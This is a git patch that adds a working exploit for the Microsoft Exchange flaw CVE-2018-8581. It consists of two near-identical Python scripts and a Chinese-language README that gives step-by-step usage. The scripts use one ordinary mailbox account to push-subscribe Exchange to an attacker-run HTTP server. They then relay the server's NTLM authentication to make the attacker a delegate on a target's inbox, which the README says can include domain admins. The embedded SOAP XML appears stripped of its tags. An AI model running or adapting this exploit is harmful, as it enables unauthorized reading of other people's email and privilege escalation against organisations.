From 72ef44ff70919b9422076b8b8254d7b454bb80f1 Mon Sep 17 00:00:00 2001 From: WyAtu Date: Sun, 30 Dec 2018 19:52:44 +0800 Subject: [PATCH] newcommit --- CVE-2018-8581.py | 381 +++++++++++++++++++++++++++++++++++++++ CVE-2018-8581_debug.py | 396 +++++++++++++++++++++++++++++++++++++++++ README.md | 87 +++++++++ 3 files changed, 864 insertions(+) create mode 100644 CVE-2018-8581.py create mode 100644 CVE-2018-8581_debug.py create mode 100644 README.md diff --git a/CVE-2018-8581.py b/CVE-2018-8581.py new file mode 100644 index 0000000..f471652 --- /dev/null +++ b/CVE-2018-8581.py @@ -0,0 +1,381 @@ +#!/usr/bin/python +# -*- coding:utf-8 -*- +# +# CVE-2018-8581 +# https://github.com/WyAtu/CVE-2018-8581 +# + +import re +import ssl +import httplib +from ntlm import ntlm +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer + +# Exchange server config +IP = 'mail.target_domain.com' +PORT = 443 +PROTO = 'https' +# PORT = 80 +# PROTO = 'http' + +# CONTROLLED_EMAIL and TARGET_EMAIL config +USER = 'the_email_u_have' +DOMAIN = 'the_domain_name' +PASS = 'password_of_the_email_u_have' + +TARGET_EMAIL = "the_target_email_u_want@target_domain.com" +CONTROLLED_EMAIL = "the_email_u_have@target_domain" + +# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate +FLAG = 1 + +# Exchange server version +# EXCHANGE_VERSION = "Exchange2010_SP1" +EXCHANGE_VERSION = "Exchange2010_SP2" +# EXCHANGE_VERSION = "Exchange2010_SP3" +# EXCHANGE_VERSION = "Exchange2013" +# EXCHANGE_VERSION = "Exchange2016" + +#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL +HTTPPORT = 8080 +EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/" + +try: + _create_unverified_https_context = ssl._create_unverified_context +except AttributeError: + pass +else: + ssl._create_default_https_context = _create_unverified_https_context + +URL = "/EWS/Exchange.asmx" + +def request_func(ip, port, proto, body): + if proto == 'https': + conn = httplib.HTTPSConnection(ip, port) + else: + conn = httplib.HTTPConnection(ip, port) + + ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER) + headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"} + + conn.request("POST", URL, body, headers) + response = conn.getresponse() + resp_data = response.read() + + if response.status == 401: + print "\t[*] Got 401 response with NTLM NONCE." + print "\t[*] Trying authenticate current user..." + Nonce = response.getheader("WWW-Authenticate") + (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):]) + ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags) + headers["Authorization"] = "NTLM " + ntlmresponce + conn.request("POST", URL, body, headers) + response = conn.getresponse() + resp_data = response.read() + if response.status != 401: + print "\t[+] Authentication and request sent successfully" + conn.close() + return resp_data + conn.close() + exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS)) + +def make_simple_add_body(exchange_version, target_email, controlled_email): + body = ''' + + + + + + + + %s + + + + + %s + + + + None + + + false + false + + + DelegatesAndSendInformationToMe + + + + '''%(exchange_version, target_email, controlled_email) + return body + +def make_simple_remove_body(exchange_version, target_email, controlled_email): + body = ''' + + + + + + + + %s + + + + %s + + + + + + '''%(exchange_version, target_email, controlled_email) + return body + +def make_pushsubscription_body(exchange_version): + body = ''' + + + + + + + + + + NewMailEvent + ModifiedEvent + MovedEvent + + 1 + + %s + + + + + '''%(exchange_version, EVIL_HTTPSERVER_URL) + return body + +def make_relay_body(exchange_version, target_email, controlled_email, sid): + if FLAG == 1: body = ''' + + + + +%s + + + %s + + + + + + + + + + + %s + + + + + %s + + + Editor + + false + false + + + DelegatesAndSendInformationToMe + + + + '''%(exchange_version, sid, sid, target_email, controlled_email) + else : body = ''' + + + + + +%s + + + %s + + + + + + + + + + + + %s + + + + %s + + + + + + '''%(exchange_version, sid, sid, target_email, controlled_email) + return body + +def get_sid(text): + sid = email = "" + sid_re = re.search('(.*?)', text, flags=re.I|re.M) + if sid_re: sid = sid_re.group(1) + email_re = re.search('(.*?)', text, flags=re.I|re.M) + if email_re: email = email_re.group(1) + return sid, email + + +def get_ntlm_challenge(ntlm_negotiate, body): + headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"} + conn.request("POST", URL, body, headers) + response = conn.getresponse() + resp_data = response.read() + + if response.status == 401: + Nonce = response.getheader("WWW-Authenticate") + return Nonce + +def use_ntlm_auth(ntlm_auth, body): + resp_data = "" + headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"} + conn.request("POST", URL, body, headers) + response = conn.getresponse() + resp_data = response.read() + return resp_data + +class postHandler(BaseHTTPRequestHandler): + def do_POST(self): + global step + result = "" + headers = self.headers + authHeader = headers.getheader('Authorization') + if not authHeader: + self.send_response(401) + self.send_header('WWW-Authenticate:', 'NTLM') + self.end_headers() + step = 1 + else: + if step == 1: + ntlm_negotiate = authHeader + step = 2 + ntlm_challenge = get_ntlm_challenge(ntlm_negotiate, relay_body) + self.send_response(401) + self.send_header('WWW-Authenticate:', ntlm_challenge) + self.end_headers() + else: + self.send_response(401) + self.end_headers() + ntlm_auth = authHeader + result = use_ntlm_auth(ntlm_auth, relay_body) + step = 3 + + if FLAG == 1 and step == 3: + if "ErrorDelegateAlreadyExists" in result: + print '[+] Delegate Already Exists' + return + sid, email = get_sid(result) + if sid == "": + print '[-] Something error, can\'t add delegate' + return + print '[+] Delegate added' + print "[+] Now you can use '%s' to view the inbox of '%s' on owa/outlook"%(CONTROLLED_EMAIL, TARGET_EMAIL) + elif FLAG == 0 and step == 3: + if 'ErrorNotDelegate' in result: + print "[*] The TARGET_EMAIL '%s' is not delegated by '%s'"%(TARGET_EMAIL, CONTROLLED_EMAIL) + return + if 'ErrorNonExistentMailbox' in result: + print "[-] The TARGET_EMAIL '%s' may not be enabled"%(TARGET_EMAIL) + return + if 'ErrorAccessDenied' in result or 'ErrorItemNotFound' in result: + print "[-] Access denied" + return + if "NoError" in result: + print "[+] Delegate removed" + return + print "[-] Something error, can't remove delegate" + else: + pass + return + +if __name__ == "__main__": + print "[*] Exchange Server Address: %s:%d" %(PROTO + '://' + IP, PORT) + + print "[*] Sending 'AddDelegate' EWS request to get the sid of the TARGET_EMAIL '%s'..."%(TARGET_EMAIL) + add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) + result = request_func(IP, PORT, PROTO, add_body) + + remove_body = make_simple_remove_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) + + if 'ErrorDelegateAlreadyExists' in result: + print '[-] Delegate Already Exists' + print '[*] Now try to remove the delegate' + result = request_func(IP, PORT, PROTO, remove_body) + print "[*] Now try to get the sid of the TARGET_EMAIL '%s' again..."%(TARGET_EMAIL) + add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) + result = request_func(IP, PORT, PROTO, add_body) + + sid, email = get_sid(result) + if sid == "": + exit("[-] Something error, can't get the sid of the TARGET_EMAIL '%s', plz confirm the config"%(TARGET_EMAIL)) + print "[+] Got the sid of '%s': %s"%(email, sid) + + print "[*] Sending 'RemoveDelegate' EWS request..." + result = request_func(IP, PORT, PROTO, remove_body) + if 'ErrorNotDelegate' in result or 'ErrorItemNotFound' in result: + exit("[-] Delegate not removed") + print "[+] Delegate removed" + push_body = make_pushsubscription_body(EXCHANGE_VERSION) + print "[*] Sending 'PushSubscription' EWS request..." + result = request_func(IP, PORT, PROTO, push_body) + if 'NoError' not in result: + exit("[-] Sending 'PushSubscription' EWS request failed") + print "[+] Sending 'PushSubscription' EWS request successfully" + print "[*] Now start to relay NTLM..." + + if PROTO=='https': + conn = httplib.HTTPSConnection(IP, PORT) + else: + conn = httplib.HTTPConnection(IP, PORT) + + relay_body = make_relay_body(EXCHANGE_VERSION, TARGET_EMAIL, CONTROLLED_EMAIL, sid) + + step=1 + try: + server = HTTPServer(('', HTTPPORT), postHandler) + print '[*] Started httpserver on port', HTTPPORT + print '[*] Start to %s delegate, Plz wait...'%('add' if FLAG == 1 else 'remove') + + while not(step == 3): + server.handle_request() + + except KeyboardInterrupt: + print '[-] ^C received, shutting down the web server' + server.socket.close() diff --git a/CVE-2018-8581_debug.py b/CVE-2018-8581_debug.py new file mode 100644 index 0000000..53a1a15 --- /dev/null +++ b/CVE-2018-8581_debug.py @@ -0,0 +1,396 @@ +#!/usr/bin/python +# -*- coding:utf-8 -*- +# +# CVE-2018-8581 +# https://github.com/WyAtu/CVE-2018-8581 +# + +import re +import ssl +import httplib +from ntlm import ntlm +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer + +# print_debug_info == 1 --> show debug info, print_debug_info == 0 --> hide debug info +print_debug_info = 0 + +# Exchange server config +IP = 'mail.target_domain.com' +PORT = 443 +PROTO = 'https' +# PORT = 80 +# PROTO = 'http' + +# CONTROLLED_EMAIL and TARGET_EMAIL config +USER = 'the_email_u_have' +DOMAIN = 'the_domain_name' +PASS = 'password_of_the_email_u_have' + +TARGET_EMAIL = "the_target_email_u_want@target_domain.com" +CONTROLLED_EMAIL = "the_email_u_have@target_domain" + +# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate +FLAG = 1 + +# Exchange server version +# EXCHANGE_VERSION = "Exchange2010_SP1" +EXCHANGE_VERSION = "Exchange2010_SP2" +# EXCHANGE_VERSION = "Exchange2010_SP3" +# EXCHANGE_VERSION = "Exchange2013" +# EXCHANGE_VERSION = "Exchange2016" + +#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL +HTTPPORT = 8080 +EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/" + +try: + _create_unverified_https_context = ssl._create_unverified_context +except AttributeError: + pass +else: + ssl._create_default_https_context = _create_unverified_https_context + +URL = "/EWS/Exchange.asmx" + +def request_func(ip, port, proto, body): + if proto == 'https': + conn = httplib.HTTPSConnection(ip, port) + else: + conn = httplib.HTTPConnection(ip, port) + + ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER) + headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"} + + conn.request("POST", URL, body, headers) + response = conn.getresponse() + resp_data = response.read() + + if response.status == 401: + print "\t[*] Got 401 response with NTLM NONCE." + print "\t[*] Trying authenticate current user..." + Nonce = response.getheader("WWW-Authenticate") + (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):]) + ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags) + headers["Authorization"] = "NTLM " + ntlmresponce + conn.request("POST", URL, body, headers) + response = conn.getresponse() + resp_data = response.read() + if response.status != 401: + print "\t[+] Authentication and request sent successfully" + conn.close() + return resp_data + conn.close() + exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS)) + +def make_simple_add_body(exchange_version, target_email, controlled_email): + body = ''' + + + + + + + + %s + + + + + %s + + + + None + + + false + false + + + DelegatesAndSendInformationToMe + + + + '''%(exchange_version, target_email, controlled_email) + return body + +def make_simple_remove_body(exchange_version, target_email, controlled_email): + body = ''' + + + + + + + + %s + + + + %s + + + + + + '''%(exchange_version, target_email, controlled_email) + return body + +def make_pushsubscription_body(exchange_version): + body = ''' + + + + + + + + + + NewMailEvent + ModifiedEvent + MovedEvent + + 1 + + %s + + + + + '''%(exchange_version, EVIL_HTTPSERVER_URL) + return body + +def make_relay_body(exchange_version, target_email, controlled_email, sid): + if FLAG == 1: body = ''' + + + + +%s + + + %s + + + + + + + + + + + %s + + + + + %s + + + Editor + + false + false + + + DelegatesAndSendInformationToMe + + + + '''%(exchange_version, sid, sid, target_email, controlled_email) + else : body = ''' + + + + + +%s + + + %s + + + + + + + + + + + + %s + + + + %s + + + + + + '''%(exchange_version, sid, sid, target_email, controlled_email) + return body + +def get_sid(text): + sid = email = "" + sid_re = re.search('(.*?)', text, flags=re.I|re.M) + if sid_re: sid = sid_re.group(1) + email_re = re.search('(.*?)', text, flags=re.I|re.M) + if email_re: email = email_re.group(1) + return sid, email + + +def get_ntlm_challenge(ntlm_negotiate, body): + headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"} + conn.request("POST", URL, body, headers) + response = conn.getresponse() + resp_data = response.read() + + if print_debug_info: + print "[DEBUG]: Received EWS response(get_ntlm_challenge):" + print response.status, response.reason, '\n',response.msg, '\n', resp_data + + if response.status == 401: + Nonce = response.getheader("WWW-Authenticate") + return Nonce + +def use_ntlm_auth(ntlm_auth, body): + resp_data = "" + headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"} + conn.request("POST", URL, body, headers) + response = conn.getresponse() + resp_data = response.read() + if print_debug_info: + print "[DEBUG]: Received EWS response(use_ntlm_auth):" + print response.status, response.reason, '\n',response.msg, '\n', resp_data + return resp_data + +class postHandler(BaseHTTPRequestHandler): + def do_POST(self): + global step + result = "" + headers = self.headers + authHeader = headers.getheader('Authorization') + if not authHeader: + self.send_response(401) + self.send_header('WWW-Authenticate:', 'NTLM') + self.end_headers() + step = 1 + else: + if step == 1: + ntlm_negotiate = authHeader + step = 2 + ntlm_challenge = get_ntlm_challenge(ntlm_negotiate, relay_body) + self.send_response(401) + self.send_header('WWW-Authenticate:', ntlm_challenge) + self.end_headers() + else: + self.send_response(401) + self.end_headers() + ntlm_auth = authHeader + + if print_debug_info: + print "\n[DEBUG]: NTLM Auth string:" + print ntlm_auth + + result = use_ntlm_auth(ntlm_auth, relay_body) + step = 3 + + if FLAG == 1 and step == 3: + if "ErrorDelegateAlreadyExists" in result: + print '[+] Delegate Already Exists' + return + sid, email = get_sid(result) + if sid == "": + print '[-] Something error, can\'t add delegate' + return + print '[+] Delegate added' + print "[+] Now you can use '%s' to view the inbox of '%s' on owa/outlook"%(CONTROLLED_EMAIL, TARGET_EMAIL) + elif FLAG == 0 and step == 3: + if 'ErrorNotDelegate' in result: + print "[*] The TARGET_EMAIL '%s' is not delegated by '%s'"%(TARGET_EMAIL, CONTROLLED_EMAIL) + return + if 'ErrorNonExistentMailbox' in result: + print "[-] The TARGET_EMAIL '%s' may not be enabled"%(TARGET_EMAIL) + return + if 'ErrorAccessDenied' in result or 'ErrorItemNotFound' in result: + print "[-] Access denied" + return + if "NoError" in result: + print "[+] Delegate removed" + return + print "[-] Something error, can't remove delegate" + else: + pass + return + +if __name__ == "__main__": + print "[*] Exchange Server Address: %s:%d" %(PROTO + '://' + IP, PORT) + + print "[*] Sending 'AddDelegate' EWS request to get the sid of the TARGET_EMAIL '%s'..."%(TARGET_EMAIL) + add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) + result = request_func(IP, PORT, PROTO, add_body) + + remove_body = make_simple_remove_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) + + if 'ErrorDelegateAlreadyExists' in result: + print '[-] Delegate Already Exists' + print '[*] Now try to remove the delegate' + result = request_func(IP, PORT, PROTO, remove_body) + print "[*] Now try to get the sid of the TARGET_EMAIL '%s' again..."%(TARGET_EMAIL) + add_body = make_simple_add_body(EXCHANGE_VERSION, CONTROLLED_EMAIL, TARGET_EMAIL) + result = request_func(IP, PORT, PROTO, add_body) + + sid, email = get_sid(result) + if sid == "": + exit("[-] Something error, can't get the sid of the TARGET_EMAIL '%s', plz confirm the config"%(TARGET_EMAIL)) + print "[+] Got the sid of '%s': %s"%(email, sid) + + print "[*] Sending 'RemoveDelegate' EWS request..." + result = request_func(IP, PORT, PROTO, remove_body) + if 'ErrorNotDelegate' in result or 'ErrorItemNotFound' in result: + exit("[-] Delegate not removed") + print "[+] Delegate removed" + push_body = make_pushsubscription_body(EXCHANGE_VERSION) + print "[*] Sending 'PushSubscription' EWS request..." + result = request_func(IP, PORT, PROTO, push_body) + if 'NoError' not in result: + exit("[-] Sending 'PushSubscription' EWS request failed") + print "[+] Sending 'PushSubscription' EWS request successfully" + print "[*] Now start to relay NTLM..." + + if PROTO=='https': + conn = httplib.HTTPSConnection(IP, PORT) + else: + conn = httplib.HTTPConnection(IP, PORT) + + relay_body = make_relay_body(EXCHANGE_VERSION, TARGET_EMAIL, CONTROLLED_EMAIL, sid) + + step=1 + try: + server = HTTPServer(('', HTTPPORT), postHandler) + print '[*] Started httpserver on port', HTTPPORT + print '[*] Start to %s delegate, Plz wait...'%('add' if FLAG == 1 else 'remove') + + while not(step == 3): + server.handle_request() + + except KeyboardInterrupt: + print '[-] ^C received, shutting down the web server' + server.socket.close() diff --git a/README.md b/README.md new file mode 100644 index 0000000..1e012ea --- /dev/null +++ b/README.md @@ -0,0 +1,87 @@ +## CVE-2018-8581 + +这是一个邮箱层面的横向渗透和提权漏洞 + +它可以在拥有了一个普通权限邮箱账号密码后,完成对其他用户(包括域管理员)邮箱收件箱的委托接管 + +本EXP脚本是在[原PoC](https://github.com/thezdi/PoC/tree/master/CVE-2018-8581)基础上修改的增强版一键脚本,它将在配置好相关参数后,自动完成目标邮箱inbox收件箱的添加委托和删除委托操作,以方便甲方安全部门和红队对授权企业完成一次模拟攻击过程 + +原PoC是两个脚本配合使用完成添加收信规则的操作,在甲方红队实际工作中不怎么实用,而原PoC除了需要邮箱外,还需要设置目标邮箱用户的SID,但在参考[文章](https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange)中提到的获取用户SID的方法,我在实际环境中测试Exchange Server 2010和2013版本中均未成功复现(2010无相关操作选项,2013会提示无权限操作),最后我的思路是通过先完成一次反向委托来获取目标邮箱用户的SID再移除委托 + +### 如何使用 + +- 安装python-ntlm + + `pip install python-ntlm` + +- 在脚本以下代码中进行相关参数配置 + + ``` Python + ... + # Exchange server config + IP = 'mail.target_domain.com' + PORT = 443 + PROTO = 'https' + # PORT = 80 + # PROTO = 'http' + + # CONTROLLED_EMAIL and TARGET_EMAIL config + USER = 'the_email_u_have' + DOMAIN = 'the_domain_name' + PASS = 'password_of_the_email_u_have' + + TARGET_EMAIL = "the_target_email_u_want@target_domain.com" + CONTROLLED_EMAIL = "the_email_u_have@target_domain" + + # FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate + FLAG = 1 + + # Exchange server version + # EXCHANGE_VERSION = "Exchange2010_SP1" + EXCHANGE_VERSION = "Exchange2010_SP2" + # EXCHANGE_VERSION = "Exchange2010_SP3" + # EXCHANGE_VERSION = "Exchange2013" + # EXCHANGE_VERSION = "Exchange2016" + + #Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL + HTTPPORT = 8080 + EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/" + ... + ``` + +- 运行脚本,然后喝口枸杞茶,等待一分钟 + + ![img1](http://imglf4.nosdn.127.net/img/TnVEN1Q3NkoyR0pyTisrVjdxbVBtQnJwRERHR3Z2NUNkSWFWcktaWWRWb3UweEJhRU5maDdBPT0.jpg?=imageView&thumbnail=500x0&quality=96&stripmeta=0&type=jpg%7Cwatermark&type=2) + +- 此时已成功将TARGET_EMAIL的inbox收件箱委托给CONTROLLED_EMAIL + +- 在owa或者outlook中查看目标邮箱收件箱 + + ![img2](http://imglf3.nosdn.127.net/img/TnVEN1Q3NkoyR0pyTisrVjdxbVBtSXRMV1c0Ni9aN0p1cUh5dEEzSzgvcVg1WXJHeEE4TjN3PT0.jpg?=imageView&thumbnail=500x0&quality=96&stripmeta=0&type=jpg%7Cwatermark&type=2) + +- 将FLAG改为0,再次运行脚本,然后再次喝口枸杞茶,再次等待一分钟,即可移除之前添加的委托 + + ![img3](http://imglf3.nosdn.127.net/img/TnVEN1Q3NkoyR0pyTisrVjdxbVBtQWc1cnZKRTZkT3ZqRDZxakFKNTA5bDd1c3JtVStPMllnPT0.jpg?=imageView&thumbnail=500x0&quality=96&stripmeta=0&type=jpg%7Cwatermark&type=2) + +- 已无权限再次访问 + +### 适用环境 + +- Python 2.7.14 + +- Exchange Server 2010 (比较稳定,测试基本Exchange Server 2010都能成功) + +- Exchange Server 2013 (环境差异可能失败) + +- Exchange Server 2016 (环境差异可能失败) + + +### 更多 + + 更多EWS SOAP API请求可以在make_relay_body()函数内修改 + + 在尝试进一步利用中继Net-NTLM hash攻击其他不需SMB签名主机的实验中,发现获取到的hash都是ExchangeServer的...也许在ExchangeServer禁用SMB签名的情况下可以用来跨协议中继攻击ExchangeServer,不过这种情况基本上很难遇到... + +### 说明 + + 脚本仅供学习交流使用,请使用者遵守当地相关法律,如作他用所承受的法律责任一概与作者无关,下载使用即代表使用者同意上述观点